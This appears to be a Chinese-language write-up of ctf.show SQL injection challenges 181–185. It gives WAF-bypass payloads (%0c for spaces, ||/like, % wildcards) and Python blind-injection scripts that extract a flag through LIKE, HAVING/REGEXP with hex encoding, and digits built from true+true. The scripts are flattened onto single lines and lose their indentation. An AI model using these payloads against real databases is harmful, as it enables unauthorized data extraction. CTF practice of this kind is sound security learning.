web入门181
-1'order%0cby%0c3--%0c
字段数为3
这题过滤的比较多,我们就直接:'or%0cusername='flag
‘||(username)='flag
'||(username)like'flag
也可以
web入门182
过滤了很多,我们依照前面的题:username=flag
这里过滤了flag
我们就可以用%
- 在 SQL 的
LIKE
子句中,通配符%
表示任意长度的字符串(包括空字符串)。 - 例如:
SELECT * FROM users WHERE username LIKE '%admin%';
这段查询会匹配所有包含 admin
的用户名
payload:
'||`username`like'fla%
'or(username)like'fla%
web入门183
注:从这题开始,后面题很多都要用到脚本力
给了我们查询拼接的语句和返回值,我们就可以写个脚本
import requestsstr="1234567890-qwertyuiopasdfghjklzxcvbnm{}"
flag=''
for i in range(1,50):for j in str:url = 'http://c0c4988a-c2f0-4244-9835-af6f4308e579.challenge.ctf.show/select-waf.php'payload = {'tableName':'(ctfshow_user)where(pass)like"ctfshow{}%"'.format(flag+j)}#%是like中表示任意长度的字符串(包括空字符串)http=requests.post(url,data=payload)if http.text.find('user_count = 1;')>0:flag+=jprint(flag)breakelse:continue
web入门184
这题把union,select,where给过滤了
那我们就用having
HAVING
:在分组之后对聚合结果进行过滤
HAVING
必须与 GROUP BY
一起使用。如果未使用 GROUP BY
,则无法对数据进行分组,HAVING
将失去意义
还有regexp匹配
REGEXP
(或 RLIKE
,在某些数据库中是等价的)是一个用于模式匹配的操作符,它允许你使用正则表达式来搜索数据
脚本:
import requests
import sysstr="{1234567890-qwertyuiopasdfghjklzxcvbnm}"
url = 'http://6aa75ed8-0da3-4f10-8da2-5273e22b95b4.challenge.ctf.show/select-waf.php'
flag=''
answer=''
for i in range(1,50):for j in str:d =hex(ord(j))[2:]payload = {'tableName':'ctfshow_user group by pass having pass regexp(0x{})'.format(flag+d)}response=requests.post(url,data=payload) if 'user_count = 1'in response.text:flag+=danswer+=jprint(answer)breakelse:continue
web入门185
这里是把数字给毙了
参考了下其他师傅的解法,通过
1——true
2——true+true
3——true+true+true
.......
通过这样对数字进行替换
大佬的脚本:(这写的是真的nb)
from requests import post
from string import digits, ascii_lowercaseURL = "http://23bc03a1-e5ce-4acd-b632-9d531a57877a.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having substr(pass,{},{}) regexp char({})"flag = "ctfshow{"def encode(param):res = ""if isinstance(param, int):for i in range(param):res += "true+"else:for i in range(ord(param)):res += "true+"#ord用来返回ascii值return res[:-1]while True:for c in "-}" + digits + ascii_lowercase:data = {"tableName": payload.format(encode(len(flag) + 1), encode(1), encode(c))}if "user_count = 0" in post(URL, data).text:continueelse:flag = flag + cprint(flag)if c == "}":exit()break